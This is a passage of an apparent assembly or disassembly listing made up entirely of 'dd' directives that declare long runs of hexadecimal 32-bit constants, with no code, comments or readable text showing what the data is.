0FA004987h, 0B5234BE4h dd 2CE2029Eh, 0BC9B71h, 4F17DD48h, 4C983946h, 8CF0E807h dd 0D7F0A32Fh, 0DFB621h, 9F2B535h, 60959AC1h, 6FDE9E00h dd 23808E20h, 378B0041h, 0D5446A6Ch, 39001EDDh, 4CE7D743h dd 2EAF1C4Dh, 0AC3C3BFEh, 731EA9h, 2EA4C08Ch, 0E538748Fh dd 0D75B0083h, 7EBC03F7h, 0CE6F5CF4h, 5F119100h, 94D1C94h dd 85107400h, 2A8EAFEh, 787700C4h, 1E509522h, 94762D7Dh dd 8ED65600h, 62C3B4DEh, 0EDE501ACh, 0D96122A4h, 5CB041A3h dd 0DE68702Ch, 0B8D44703h, 7EED9Bh, 13FAEC4Eh, 0DD6D341Ah dd 0E106B714h, 610917B0h, 0A07AAC63h, 167C1Fh, 0A6E34B10h dd 62415ECCh, 800C37Dh, 81875A6Fh, 0B7624D6h, 9170651Ah dd 0B6777980h, 9A13C6BCh, 241C4403h, 0A0B48F3Fh, 3202E0EAh dd 903770F4h, 0DE280050h, 1E99D48Fh, 8100BA5Eh, 6993B0CEh dd 3E833CE2h, 0E8018EE9h, 3438659Fh, 0EA9ADC2Ah, 0C14E420Eh dd 0EDA260C5h, 2E15AAE1h, 0C35F70h, 0C00362DAh, 2400184Bh dd 0A802DE42h, 18C9DB11h, 0F0D53FAAh, 0D000A7B4h, 72E2E94Bh dd 16569A05h, 0C0B811C8h, 0D6D184ACh, 284C943Ch, 0CD00EA97h dd 1F39557Ah, 9C0EC4B0h, 4E3C18h, 4594958h, 0BB4DFC2Fh dd 1E8C0070h, 0DE3D58D5h, 0C881505Ch, 0DC9300E7h, 0F5EB2FA2h dd 86721C63h, 0C3116E00h, 0B1E696BEh, 4C880701h, 0E089EBB2h dd 430FE746h, 0B6938F00h, 84ACDB24h, 4434005Bh, 0A9851C62h dd 0AF00DD3Fh, 2BB81DABh, 0FE5CBA95h, 15B0022h, 96520AF0h dd 0EF28CEA6h, 3802FBF8h, 0DA5E13A2h, 33C257h, 42C7F588h dd 1B150092h, 4168CE6Dh, 8FFE2616h, 7E77E703h, 0D10F90E8h dd 8647BC55h, 83CE7C80h, 4132093Ah, 90C0B91Eh, 0C873028Dh dd 0FFB3B400h, 6450A815h, 460901B7h, 2B3A3441h, 0FC60CEEBh dd 917E60B5h, 0AA0064BAh, 0E487A08Eh, 94E0A7C0h, 0D8604B28h dd 670153D1h, 0C5305B8Dh, 30600A3Eh, 2CFD4CF2h, 801E0B84h dd 0EF37A9F0h, 0C900187Dh, 92579C91h, 0F05648B1h, 0F6DC0C5Fh dd 9DF8E53Fh, 0DB21D518h, 0E4A7480h, 0C4651B19h, 14832F40h dd 383D33F2h, 0C94842h, 43819CD2h, 508845h, 23674973h dd 0D5C77719h, 6AC56E00h, 0B3A50CCAh, 8DF70080h, 534E5B25h dd 6072BEE3h, 3C65A62Ch, 68553800h, 5C9F7h, 234EC212h dd 803BCD18h, 1673DF00h, 0C8F6B8D1h, 0B5B90002h, 153E46A0h dd 79EA569Dh, 0C0407200h, 47BC48FAh, 126C005Ah, 546B10E6h dd 0C6E2CF11h, 550D382Ch, 8C5B2A00h, 98C9B420h, 9FFD072Bh dd 2023B0D2h, 113C1F97h, 10D4B100h, 9AB4FC74h, 1B87D24h dd 9CFA98C4h, 0D4A9840Bh, 0FB00E33Ch, 0CF5EB127h, 26398E2Fh dd 641C6F61h, 0BEF3C170h, 5B006A04h, 0B3D52A2Dh, 0A90E0002h dd 0AA48BFA8h, 5F00AD0Ch, 0C72F32E8h, 0B0AF7657h, 0BE3F0027h dd 89DB01CAh, 0A703A1BBh, 5C70B626h, 0E485A54Dh, 0D12E90C2h dd 32168BF4h, 7B4A7400h, 0C4004210h, 68384FD2h, 4AB69C6h dd 0F5378FF3h, 160C80C2h, 0FB0077B6h, 0FF92B38Eh, 0D304D8h dd 54C92827h, 76373203h, 86001EECh, 3A4352B7h, 2D8EA1h dd 0A23B8B68h, 2B2EAA4h, 4B4D5F00h, 67DC4EF1h, 65D600B8h dd 0A9F2B919h, 0C807D8EBh, 3EE68BF5h, 3B2AF9E0h, 2BE10681h dd 98765FB0h, 0EDB4BD00h, 8F94A578h, 9DC30CBFh, 0C8107359h dd 9D588538h, 84802E31h, 0D8B515FBh, 90D5009Ah, 0D62B69D7h dd 1E00DF25h, 369C1BB4h, 0B640E0DCh, 560B0500h, 97CC000Ch dd 5D5D64Dh, 82719CB0h, 0A5E9D100h, 55F1B96Ch, 3D60E41Eh dd 0A002FAACh, 3A42E6A3h, 0CDE9E7C0h, 2CA84153h, 3E002B1Fh dd 9DAE2EB5h, 1262024Bh, 94152981h, 0D54ED182h, 0F284CF40h dd 3DF8B839h, 2C0EF47Eh, 8B208502h, 4B2E00EFh, 1CA158AFh dd 402A5195h, 3C5C926Fh, 0C0008E14h, 2D67AA6Ch, 6E98D102h dd 1249D0EBh, 90564CA7h, 78184F76h, 4AD1C700h, 25F3EFAAh dd 5DA600D2h, 7BE9AB38h, 76000897h, 0D703F1EAh, 3E45692Fh dd 8202ADACh, 6216BAA2h, 0BF385060h, 1F9CF920h, 9306C1A6h dd 0E2D843AFh, 83B0C964h, 0A34C3A89h, 80B85C48h, 9BAB3F5Fh dd 0BFF00956h, 0CFC0135Ah, 0F61EA314h, 2ED7DEF5h, 54011112h dd 8DF0E5D7h, 7A0FDC64h, 18E8FCA6h, 7A24802Eh, 0B5092A08h dd 46E5CAC5h, 3BA30FECh, 1B094A6Eh, 0E4C908C1h, 0E20EFADDh dd 0C09E1F49h, 5ADBB21Ch, 84454802h, 7EC55000h, 53514328h dd 0D631A800h, 9075BA34h, 0B826003Bh, 0F1EF4F71h, 3500211Bh dd 0E60B189Fh, 12C49Ah, 146E327Ch, 0D25EF28h, 99DF7004h dd 94C0DA58h, 0E2404C54h, 189B7F48h, 18CC0C44h, 0A200EC34h dd 0EB2BC3Bh, 581102h, 77F31247h, 20A4ABE2h, 0A6C47200h dd 5A57D325h, 2E9700A2h, 27D41801h, 7301D569h, 6E847F8Bh dd 0C0FCE476h, 0F1BD03C1h, 4E346028h, 3AD2AB98h, 416BA500h dd 7D18226Dh, 0B97500E8h, 0DF231AEFh, 0A7009B89h, 99E1BB1h dd 745BC5D5h, 18AA3A54h, 80E56D00h, 0C0CC3403h, 357C5900h dd 31BAFF41h, 45D82605h, 82800075h, 388EFEEDh, 4E2BC400h dd 0D391C66Dh, 0F7590211h, 2C68EFCDh, 84D6D881h, 87560CBh dd 69212726h, 48817D07h, 0DD4CB4C0h, 0B91C0079h, 0DEEE715Eh dd 0CC00173Fh, 0E79F81D4h, 3E372620h, 0A84C7EF4h, 3EC7A000h dd 157D0982h, 0E9709F12h, 0D78B1C00h, 1F5C0A20h, 0C02D5B1Dh dd 443208AAh, 0FB016F24h, 0A31B8910h, 38CDB7E5h, 0ECF4B070h dd 9B550918h, 605A7A28h, 1767120h, 889A06BBh, 6F9F4DF1h dd 5F5688C0h, 15F700A6h, 0C7702E4Bh, 74003A37h, 6AE056Ch dd 0F946A3h, 0EAA55CD6h, 6984FA2Eh, 0C9E12325h, 49DC6A18h dd 0D857009Fh, 4D14484Eh, 0D30082DBh, 937AC858h, 59CD8FC7h dd 0FA0050EBh, 0F5924614h, 0C19D946Fh, 0E2C69D77h, 42452C4h dd 2E016034h, 0DA3480CAh, 0BD2669F2h, 0F609525Fh, 0A0330F8Eh dd 8DD621EDh, 0EB3C006Dh, 0FFB57624h, 75003618h, 85EAAC4Ah dd 6B9356Eh, 8AA0063Bh, 0D20FBA84h, 6EEC6921h, 0C73EC12Eh dd 0A4346351h, 0DF754A72h, 16E11DFCh, 0A4ECD500h, 0A90DA2h dd 8F796EB5h, 759FD712h, 9864051Fh, 1C2D380h, 120665E3h dd 10EAAFh, 0BD26CF1Ch, 1403C937h, 9E2F8C6Bh, 0C6883E71h dd 0CBB11580h, 7EFB8EB8h, 0DAD9A705h, 3892AF43h, 0F46405h dd 0F8DE59E7h, 38A57BD8h, 45A21F02h, 60103D86h, 0FCBCD56Bh dd 0BDF62Ah, 0FEC5D615h, 5AE33F34h, 27DBB800h, 12367583h dd 81D20E03h, 9FBE8B22h, 0DAE4099h, 946AFE53h, 90406000h dd 74A2381h, 0DC7600B8h, 51D26B16h, 0E3001398h, 771A55DDh dd 0F29166AAh, 9FA20053h, 0F7A1B80Eh, 287D1FC8h, 44AFA000h dd 8176F918h, 327A46h, 0EC899473h, 475D4F21h, 8262DF0Fh dd 0E0F921E7h, 0C6E08633h, 24E900EEh, 892DB254h, 0FC007096h dd 0BFD3B1F9h, 8B1D40h, 6137A939h, 0F3DA84ABh, 0E5C53B07h dd 54837024h, 1620E073h, 40903Fh, 69DDC2CFh, 0B57B0F50h dd 64CC7700h, 0BF53ED12h, 0E9810F08h, 2740DABDh, 90F7387Bh dd 1450D800h, 110C462h, 7D0E3ED2h, 97168481h, 70C0B267h dd 34019E90h, 0B5716175h dd 1ED819D6h, 0A45B2502h, 0F32B582Eh, 95B83880h, 0DC1FEE24h dd 6780B2B3h, 0D64363Ah, 5123001Fh, 0CDA29F4Fh, 56074BDDh dd 7E25E879h, 0C5B45F71h, 7322E60h, 0C41376D9h, 82E612F4h dd 0F0E085C1h, 893B0A4Ah, 0F72C003Bh, 0D96BE236h, 1EC0FA7Ah dd 0F9AD1E97h, 2C4E2Ch, 428CA259h, 2203DF40h, 71C3AE9Bh dd 2677A870h, 913505AAh, 0C06D938Ch, 0F46FE485h, 41223F00h dd 0BD8FB137h, 0ED50004Fh, 0EB89085Ch, 60000BD4h, 0FE484796h dd 9416FDh, 34B9AF0Ah, 561315FCh, 0DE965E1Ch, 80260DC0h dd 0F3CED19h, 0A6DF8985h, 0E4F880FCh, 292C6473h, 840337B0h dd 6BECADF3h, 6CF0A8FAh, 0BBF20097h, 0A41B1912h, 997DE402h dd 0FF799100h, 373C3AFEh, 0AD6C0080h, 0A43DC945h, 0C7E28766h dd 728AFC02h, 602F1D2Ch, 9D8198h, 4F9EAE54h, 7C20CD76h dd 2726F400h, 0F21ADA2Ch, 0F7EE5C52h, 6D9FC300h, 906BCC15h dd 40FB0B00h, 86DE2459h, 0E6EA71B6h, 0CA3F00D0h, 0F23E6DB2h dd 0C8F9D7CDh, 5F078DB7h, 378FF02Eh, 6ABCE0A1h, 3D153874h dd 80099575h, 24C09CCAh, 0D600CD54h, 2F506503h, 0EB9E362h dd 0F3BF13A8h, 80A97305h, 13194E0h, 61F9C400h, 0E3476F0Bh dd 0D4DE004Eh, 7FEA2A2Eh, 8504A522h, 1DCD4A8Bh, 0AC3EC1C0h dd 0B1340961h, 0A84323D2h, 0D08747E8h, 0BED48000h, 0D1D638D8h dd 3C027260h, 0C080770Ch, 3B3192CEh, 7B00DC5Ch, 0B83229A2h dd 0F44B73h, 70493A36h, 820258C4h, 7BCA3500h, 2E6737D7h dd 0B09D00A4h, 23A9F42Dh, 3D00AF74h, 96CEF7EDh, 0E8A0B4h dd 4DB6729Ah, 44AE154h, 22D16800h, 5A7CDCA6h, 0BB0D00A1h dd 0B06F3631h, 0CD00A78Bh, 53ABB16Eh, 0EA8FD1E3h, 34B5009Dh dd 0B7ADC2D7h, 0AE0BE835h, 154092Ch, 46185148h, 2AAC20h dd 147E9EADh, 0B2EB5DD3h, 25212900h, 72D0C4Eh, 0BE4200CFh dd 3465EEC4h, 0C500F124h, 0B9177F7h, 2EDBDE95h, 2422F8h dd 8455D962h, 210EE3D2h, 0CFAA697Dh, 8A8D80ADh, 0FA0C0897h dd 0C12200F7h, 23764EC8h, 0E500F8E0h, 1226D7D6h, 38514FDDh dd 8C805E10h, 0A756D560h, 2D00787Dh, 1892E609h, 0DB838Bh dd 87969F3Eh, 0BAC51D35h, 529AA60Fh, 0E8DA40A7h, 0DC5756h dd 0AB0232B2h, 0EC17FB54h, 5E79801h, 7D2A779Fh, 9F2DC70h dd 37B7F57Fh, 384F0906h, 0EF788960h, 5016C696h, 8A9033h dd 0B361E368h, 0AF83064Ch, 0BA269BFAh, 520019ABh, 65C5FAB8h dd 0FCF70108h, 28D5EA67h, 8BBF30C0h, 83FB7607h, 0A7003E4Bh dd 0BDB4FAh, 0EBC28041h, 0DCC84002h, 0E8BCF30Ch, 0DD402Ch dd 0E4E9C708h, 0D701045Fh, 90DF961Dh, 9B608B40h, 7BBC56Dh dd 0CC505982h, 0C30C7317h, 6469B8D0h, 0BE1D7D0Eh, 9D95A34Eh dd 0BDF78033h, 1467047Eh, 0F0F2D48Ch, 511D9EFCh, 8FFA3507h dd 0A0A20AF5h, 74300C34h, 18976019h, 0DF8DB0FEh, 0E332C803h dd 0F3FF6CA6h, 0BAA09866h, 0B23FCD8h, 6447D40Dh, 929714A0h dd 0E3018EBBh, 33ADED81h, 0A180F1B8h, 1AF5EF72h, 95601126h dd 5DD6FC60h, 5FD930D3h, 0C43DB941h, 923EDDFEh, 76F09703h dd 0D153200h, 0F91A4Ch, 0CC1B47BEh, 0CB9794A3h, 0D31330ECh dd 93A8CD14h, 9AFE1803h, 80A8EC49h, 0D2001F48h, 6B13A366h dd 4AC3F1F6h, 3D5803F2h, 6990C9B3h, 8B006138h, 0C1B6DA85h dd 2551E967h, 8BFC6032h, 9003F316h, 0F3508h, 0B8B965C8h dd 361CF00Ch, 7885412Fh, 49901E33h, 0B08A144Dh, 881B2863h dd 33FF87C0h, 4283D0FFh, 0B9035FB0h, 0F54EB29Fh, 2E2800F9h dd 0CD096A2h, 9200D46Eh, 0CEEC814Ah, 523A598h, 0BC7CE1D2h dd 32A440D6h, 0B3DE7FF6h, 0F533BA00h, 6B1C548Eh, 0F7620EB4h dd 0E84065CAh, 0BBA1F871h, 809FBC72h, 0E6E78BC4h, 72DB030Dh dd 34FCD01Ch, 2D71ADD0h, 0C19A3A00h, 0F1531225h, 58802EE5h dd 0BCBD0573h, 480CACEEh, 6DC0004h, 6D558473h, 3B67412h dd 7940BC09h, 30008172h, 5C05BF3Bh, 2DD246Fh, 49ADFFAEh dd 20D6B178h, 91C0EF20h, 0E2AB7707h, 0D3F30051h, 0E48EB322h dd 21036E7Ch, 544BE7A7h, 0BDD000F9h, 989A436Fh, 35B0933Eh dd 64E43924h, 26D49680h, 177D4Dh, 0B97A9A10h, 0ADE58AB1h dd 0DD8C6300h, 2D0204F5h, 3C700003h, 0DA749681h, 0A9006BEBh dd 51BFD23Dh, 18FB1DABh, 118AE9C2h, 7E009F7Bh, 5503A488h dd 1C5F4A9h, 0A2791CADh, 0F04B5FECh, 7B00AC77h, 4CF52036h dd 4C1DE48Dh, 0F701AD17h, 2F35AE37h, 0C74FE407h, 0B82BAA00h dd 24858F5Ah, 8D4E03F8h, 1A825736h, 44D8EDEBh, 0FC00AE67h dd 7424EF6Bh, 3DE2AA09h, 3D2616B9h, 0D02600EAh, 0A8854B82h dd 27F990C0h, 8CCBBEh, 3CE430B5h, 0EC19738h, 84988661h dd 0FF70D043h, 708A18A8h, 121518F7h, 0ED0F747Fh, 1C8D478Bh dd 90768700h, 9CFE27h, 82DF4685h, 1CC9895Eh, 0DE130B01h dd 93168E30h, 10102C42h, 1084FE3Ch, 8EC66BCh, 0BF0291A9h dd 88F0110h, 84581063h, 0AC14D37h, 8C8858DAh, 51F88469h dd 0DC043ABh, 0F547F1EBh, 30EF2C51h, 0A78C9712h, 7F20FF59h dd 873E21B5h, 854C5004h, 0BB58640Ah, 8D69410h, 84033B91h dd 58A7EB3h, 2C0272FBh, 4B69FE7h, 6F204102h, 0A0470AE1h dd 0DE55C080h, 32E80FFBh, 0FC00E24Fh, 7074781Eh, 39FD6304h dd 8080CC8Bh, 0A25B4C7Bh, 62DF40C0h, 481418A8h, 9A92481Eh dd 0FCCA5306h, 1870E2DAh, 0E1E64634h, 6D01BF2Fh, 7D53D17h dd 0EA709371h, 0B3B80CA8h, 0FA30ACD7h, 0A16A2300h, 7227F7C8h dd 6217066Bh, 0F8FD8298h, 734F6303h, 0EF151A9Fh, 0E3169A52h dd 7B64D68Fh, 48D1C08Fh, 1331CD75h, 7FC51E01h, 3A4AC2E6h dd 71A996h, 0BF84588Ah, 0C800F8ACh, 8D80C03Fh, 2A2D21EFh dd 1ECE8F0h, 77A14A23h, 0E606C57Eh, 0EF2FB480h, 0A0EAD91h dd 874BEB7Dh, 0F69084DFh, 12C3B4B2h, 18298D74h, 11DEF923h dd 0DDD3B003h, 98B97872h, 730ECCDh, 468B75D8h, 8028BC15h dd 226A1800h, 8303F55Eh, 0B13B00D5h, 0B69B01A1h, 710C7A1Fh dd 59D8427Eh, 6B813B43h, 2432AD80h, 13DFF45Ah, 0D4BC0F2Ch dd 6ECA2804h, 5E61DA80h, 0E52401B0h, 4E237F48h, 0BB2080DFh dd 5563597Dh, 1639E889h, 0C1E5D3h, 8242C0E1h, 962ADFF3h dd 2F00280Eh, 66609FD3h, 89E42572h, 200ED6CCh, 21A25345h dd 3262C49h, 817A013Bh, 0FCB5EA0Dh, 0A714E480h, 28BD06h dd 6052CB5Ah, 0A12549FEh, 4F103250h, 0E0BF5A64h, 0E48F9E7Fh dd 31E00D6h, 830C06CCh, 0B462E57Dh, 180AC459h, 0EA1A5961h dd 6503660h, 7A9B92Ch, 6CD40F2Ah, 11FE0042h, 990405BAh dd 0F115688Eh, 584086h, 0B7B2F0C8h, 0FC309DDDh, 8B19E33h dd 0E8793F47h, 29CCD0Eh, 91FE5BC0h, 1D0ADA61h, 28146E0Bh dd 692A215Eh, 0F336FB80h, 4095DD29h, 5C1E776Ah, 0A94E9913h dd 698920C3h, 5627117h, 0E6AA52A2h, 9300FF60h, 25D5A09Eh dd 0F750006Fh, 0B27A55F9h, 0A100C2C8h, 6BB1BF1Fh, 9B8CC3h dd 975F929Dh, 54823373h, 0EB452B00h, 8878B053h, 91100CDh dd 2AC0A2F5h, 0FF00C62Fh, 0ECC7C903h, 0A4DC40Bh, 3A2CB3A0h dd 855003B9h, 0AC782F5Bh, 8EF840C0h, 7402DACh, 39B54237h dd 3067F65Ah, 72C79D00h, 1453FADFh, 0B5C61870h, 56643937h dd 0D204E304h, 2DC07912h, 0AA2524h, 5A90A723h, 0E3280994h dd 0C4873AE1h, 0D0FD53E0h, 40A260A1h, 39EC0319h, 68B9C80Fh dd 1246054h, 4BA979h dd 0EE80822Dh, 0C5C0CF32h, 0EFD0B212h, 81BED50Ch, 0FDD80DD1h dd 0E0A86F18h, 0A200D37Eh, 46719FA8h, 0D4277Dh, 0DFBEDCA6h dd 1459485Ch, 0A32A8201h, 4FBA01EEh, 0ACCEE0h, 0F6539757h dd 422BD2FBh, 1FF9A302h, 0DD30F887h, 4D61A781h, 37E0E086h dd 9FC104ADh, 48808ED8h, 0B78BFE80h, 977E93B5h, 0C53AC8F5h dd 0BF85B900h, 2523C9A1h, 60E8E6E3h, 923B2979h, 0B400E04Eh dd 0A71AACE9h, 6953C7h, 0E705A6B0h, 75301FC2h, 81E2CFEAh dd 70EFFD00h, 0BF1C45EDh, 0E487080h, 0E9846104h, 783FD800h dd 0EF006E0Ah, 0F308AF93h, 7026A515h, 7F9FF6B6h, 66FD17F9h dd 4FC0064h, 8FB1EF22h, 4143EB00h, 6ADE0781h, 1C0F00CCh dd 6F8AC4EAh, 2000D89Bh, 91A0FC98h, 0FE35D59Eh, 1FAD007Dh dd 0BAA50A3Eh, 3C00A8C0h, 3BE50B2h, 14C8B7h, 868C0221h dd 0DF10A95Ah, 0EBFC2971h, 0AFD0CD05h, 0A004FE6Fh, 55C00A65h dd 4C7E9Ah, 3B7C54ADh, 0A385FF3Fh, 0E722F803h, 0A8B75BD7h dd 6F057Dh, 4EB6F406h, 82739E4Bh, 0AF802FFFh, 0E063A7h dd 0F8586E8h, 0E73BF054h, 5A1CDC1Ch, 0BCC0621Dh, 0E8B3658Bh dd 0F1E200C5h, 8D0C2378h, 0A20004ECh, 27A574F9h, 3CB3E816h dd 0DC8033DDh, 0A9CCBB2Bh, 3500FA4Fh, 67753CB4h, 50B5AA12h dd 2CFC72h, 0AD6F71E9h, 519AF309h, 801EF43Fh, 0B9870503h dd 322241h, 2C0E4390h, 7A9A0258h, 8C3EBF60h, 0F8119907h dd 51A60038h, 29E27408h, 0E600659Dh, 1CE4B06Eh, 7E5EA49h dd 8B3D6D53h, 12CE335h, 0EC3278F8h, 0BF0E700h, 0B93CFFADh dd 1FC97BEEh, 0BB1C6388h, 22145780h, 36308071h, 19A64807h dd 0FB20C201h, 0EFE68Ch, 9AA2BF1h, 1A94D9C7h, 0B0327900h dd 4592109Fh, 0EA2601F3h, 7C43A538h, 7FDFE4C8h, 0ACC2F100h dd 94DE39AAh, 9A3A0F36h, 6FE0FD57h, 0F3C3DF70h, 0BC40EB05h dd 0F4008A4Bh, 46261D47h, 52B8000Ch, 0D44DBB88h, 0B200D9CDh dd 1FCC9036h, 39523B1h, 561EE096h, 7AB9D673h, 384AE853h dd 94B1A00h, 40A41C4h, 0DC823E05h, 0FB4F01F8h, 0BCA3F0E2h dd 881FF83Ah, 9D0C2E0Bh, 0C658005Eh, 38C84687h, 660795E1h dd 780EF1h, 7F2DE9CEh, 4562B800h, 12EF3CCFh, 0FC560916h dd 53006753h, 0D12A8DDDh, 3739FD7Dh, 0C68703E2h, 0A8E6A32Eh dd 63AB4Eh, 8EC3A5DCh, 0C150ACA7h, 596CB00h, 11DB62B4h dd 426403C9h, 613C51Fh, 34C4CFA0h, 43AA0E03h, 0C2F2873Dh dd 0A6D660FBh, 9A1104B9h, 0C027A0C7h, 8BD7E630h, 0F266F403h dd 0A8DEBEF3h, 71724D5Fh, 0E8AB4B51h, 0FDB80050h, 0A0699E40h dd 37DB0026h, 36A5C902h, 0EF00552Fh, 3D8F790Ah, 16E8F3h dd 47E2DA93h, 0CF5F336Dh, 55D21509h, 8268A076h, 5B1316Ah dd 36D9ECE3h, 0EBC200FDh, 0B57A76E2h, 0B8671300h, 0D2F062C0h dd 901103BFh, 50BCB56h, 27B6CCD0h, 5C040C79h, 12A29B6Ch dd 97D489C3h, 6E77DEE0h, 425A0918h, 0D38091E4h, 58B1BA64h dd 7F69D603h, 80361A31h, 5009F8BCh, 9EC16Bh, 936A063Fh dd 65B802CBh, 70B1B901h, 0A5443C22h, 9AC55DE0h, 0CBD60060h dd 9CE9BACAh, 9A004C74h, 47077173h, 0F3EBD17h, 6AD04542h dd 0D239F340h, 870E9D33h, 282EB9Eh, 40FE6BFCh, 341D3Dh dd 0F82F357Fh, 0EAC3AA3h, 6AEDE200h, 85E8898h, 0F52D000Dh dd 4273D7F6h, 27005D2Ch, 4CA96220h, 34FA9Fh, 0CA71974Eh dd 87BFCE4h, 0ABEF9000h, 7DB1A1A3h, 2F5100F0h, 12982C02h dd 6D0FFB81h, 0E0AE8377h, 0A24F84EFh, 96760062h, 6A139E25h dd 2200BF0Ah, 3D1979EAh, 52855Ch, 99298739h, 0C9EF0369h dd 0C18B6200h, 0B98CF0E4h, 0F150076h, 0DB30A5AEh, 0B800055Eh dd 816BC871h, 1FC0BFE7h, 8328434Eh, 97104885h, 0EF9CB990h dd 7A6FA301h, 3C3F26Eh, 0AE72E8E7h, 91211D15h, 9FF7408Fh dd 38AB52ECh, 0F97ADB00h, 627EFAB2h, 7B0400D9h, 0BDA10F7Fh dd 250076E8h, 0CF84CD2Ah, 0CAA631h, 58D27487h, 0D7469BCEh dd 82A81800h, 0E14FE45Ah, 0C86B1337h, 0A2782048h, 0A5002EACh dd 0B8887D0h, 0AE9EDBDh, 0D7B0C3A4h, 1297058Ch, 0CD9B0036h dd 0C55D08Ah, 0AA2F3400h, 0EDAD9F1Ah, 0ED6F69Eh, 0E759220h dd 546A809Fh, 555FE826h, 87FCFA00h, 93676F1Bh, 7D7703D2h dd 25AA8B07h, 40B0ABDBh, 6E005E47h, 79E6E19Ch, 1D4B8Eh dd 0A1B1ED17h, 895D6F38h, 0ECF9348h, 40CE5582h, 4AF54EC1h dd 481301EBh, 0C7242C0Fh, 61F3C01Ch, 0E4D8DC00h, 973A75D3h dd 854D0069h, 364B8F42h, 96008338h, 66E773C0h, 0C145F7h dd 0C6FE2029h, 7BB0F9Ah, 14DDEB00h, 251EBF1Bh, 3A20C068h dd 0FE1CA55Fh, 0B1735700h, 30D63149h, 0E0FB00E3h, 61EDB64Eh dd 850102A4h, 6E71F1Ch, 0C4D8C87Bh, 46971F3Dh, 406D1DCCh dd 0E2F7CB4Ch, 1407D25Eh, 0F8F3DA71h, 6C667560h, 72AB0BD0h dd 47800105h, 6E4FFF37h, 5C7C063Dh, 3E1160A8h, 0E9CA83F5h dd 0A1B08180h, 2C4EE134h, 0C6735C00h, 0C2E9176Dh, 3DB53E5Bh dd 0AF0444BAh, 0EF3B68A4h, 556D60C1h, 0BBB7A0F7h, 2F860022h dd 3E042BDAh, 0C217D00Ch, 0E04C8D8Ah, 0A6950A3h, 60A98473h dd 6C19020Ch, 40C0F791h, 79004895h, 5577E851h, 312B726h dd 0D018C856h, 8EBA7B85h, 0CCC03EE2h, 0D300F925h, 30DE28DBh dd 953393h, 55D7203Fh, 0F79018ABh, 0C1BAB203h, 0E84BF846h dd 4A8F8Dh, 6A5CE0AAh, 0FA2B1A53h, 8BD04901h, 7027B1FDh dd 482C70h, 0E0EB0EC7h, 3AB47953h, 0A4C07200h, 19CDC9B5h dd 0C82B587Fh, 0D61BEB04h, 0A04EC063h, 3224C674h, 0D400746Dh dd 0F9A5E102h, 5B580783h, 0B12C3EECh, 0C8792A9Ch, 7B00B3F2h dd 0BDD02159h, 9893094h, 422DE4E0h, 1F862180h, 7871E51Ch dd 0BBFD501Dh, 0D4491741h, 96C8B007h, 0CCB8A8BCh, 0B2E3001Bh dd 34C56165h, 0B008C95h, 0C9C6E266h, 7F16AAh, 0CFD0A5Ah dd 0F6DB51FBh, 0FACFBE00h, 9BB91860h, 15C4A878h, 6102002Eh dd 68FB2AE4h, 24005B77h, 8C09DD7h, 3A463A3Dh, 1E0248FAh dd 59C4CE1Ah, 0C7E0C280h, 4A00E1BFh, 89B5703Fh, 2E91436h dd 43C0D4F0h, 88AEA4A6h, 0CAC17440h, 0D6071F88h, 16BA63B4h dd 0B63D4B00h, 0FD6B00DDh, 24F72617h, 0F30022FFh, 0D66F11C5h dd 1EBCCA51h, 4BF88719h, 8401A1F2h, 0F401919Fh, 0C00039E7h dd 0B56976B4h, 0DAA77Fh, 0E3901003h, 8DE7E153h, 37E9B300h dd 5B623286h, 7684E8F3h, 3051FB9h, 0EC8A804Eh, 0C6348F3Ch dd 3F0E85F8h, 80F5FFACh, 0B8FA67FDh, 0A5BE0002h, 90541246h dd 0E4004EFEh, 36FBBF5Eh, 0BB099Dh, 0C2E82B62h, 0AEB959EEh dd 9F687A00h, 101518BFh, 560A0E22h, 6020A455h, 8E81B687h dd 48F43C30h, 7C23F6h, 0DE1BA3F3h, 718BC39Eh, 6189C000h dd 0BB2860B3h, 709F0B1h, 2FD0E403h, 34E08EADh, 2535B316h dd 1DF55700h, 5EEE3F2Eh, 0E35D0104h, 7B2067F6h, 0ABF9FCFAh dd 0FF9E1B1Dh, 9FF5BA00h, 1844B0C8h, 0A8D8C95Dh, 0B700C088h dd 592BD052h, 1DE00361h, 36E89A1h, 0D5887442h, 0B91426D0h dd 0B839BF30h, 56B3BEh, 0EC2F5FC0h, 0C6F247E6h, 0C2F81200h dd 8A91BC63h, 79230077h, 4F3AD2C5h, 6F00EF70h, 0D471A103h dd 4875F7h, 0D0562272h, 4DB71FC4h, 50CA8E00h, 0EE618242h dd 112E849h, 4EE296C6h, 0D0C56898h, 0F7006C70h, 5D031C9Eh dd 0EB22AFh, 31E5AC72h, 0F87D750Ah, 1CABA3Bh, 704801CFh dd 3880C8D2h, 0E5FA23EFh dd 6E4334Ah, 8572F800h, 5AAF0F14h, 74EF076Fh, 0A346DA7Ah dd 0C1E9B7DBh, 0BF8530FAh, 0E160B9F8h, 0D46B3250h, 44970031h dd 714B9896h, 350742D8h, 0B36DFC8Eh, 1A7B0DA0h, 3D040C95h dd 0D0EAEEA8h, 0DF7A9FB8h, 5DC8F900h, 0AA3BDDD4h, 8D690E31h dd 0FDE1D35Bh, 0E0EDF848h, 0C00062BFh, 0FF48B60h, 9DBA6Ch dd 55881FBh, 7047E70Dh, 0A8016875h, 4EE6EF65h, 9447AFB1h dd 59306FC0h, 0EAD30053h, 8EE7659Fh, 3300B2A7h, 8DF41DDEh dd 35367A4h, 41AA484Bh, 0FDE89729h, 5481570h, 19A70717h dd 0E42185D1h, 94FCCAA1h, 0F2CB00F6h, 3698B518h, 2F30A7C6h dd 8AF1A8Bh, 64FC00B8h, 57BBC71h, 0B6E6D45Eh, 38E163Bh dd 0A80F0EECh, 0C78FD855h, 0F4B800C8h, 0FDF0626Eh, 6000162Bh dd 0EC4CEE49h, 14436C8Fh, 20E66120h, 42487BF0h, 0F83A6142h dd 250086BFh, 9B64FB89h, 3700E407h, 513A912Ah, 753CB860h dd 301190C5h, 0F048D545h, 4C3A0425h, 2DEA8077h, 0BCB05C8Dh dd 0B40E0021h, 0C3F58427h, 5A0051A7h, 0FDCB8AFh, 0F05F569Ah dd 0B76C18B0h, 4AFF086Dh, 26241A38h, 91D4D08h, 0BD8EEA00h dd 0E07511Eh, 2AC975E9h, 45612480h, 805EC64h, 0C827A4D5h dd 0D41A401h, 50B9FE2Ch, 0E9D9900Ah, 61F402A8h, 8C804768h dd 201F5403h, 4FFDAD0Dh, 0B8872056h, 20DC865Ch, 0D9F69A45h dd 0BE4BF70h, 0ADF480ACh, 329E2008h, 0FEE3D080h, 6C94ED00h dd 35727169h, 0D226009Fh, 0C8789C4Fh, 5F87737h, 0FF555100h dd 0F09FB41Ah, 682005DBh, 80867E54h, 2FA84305h, 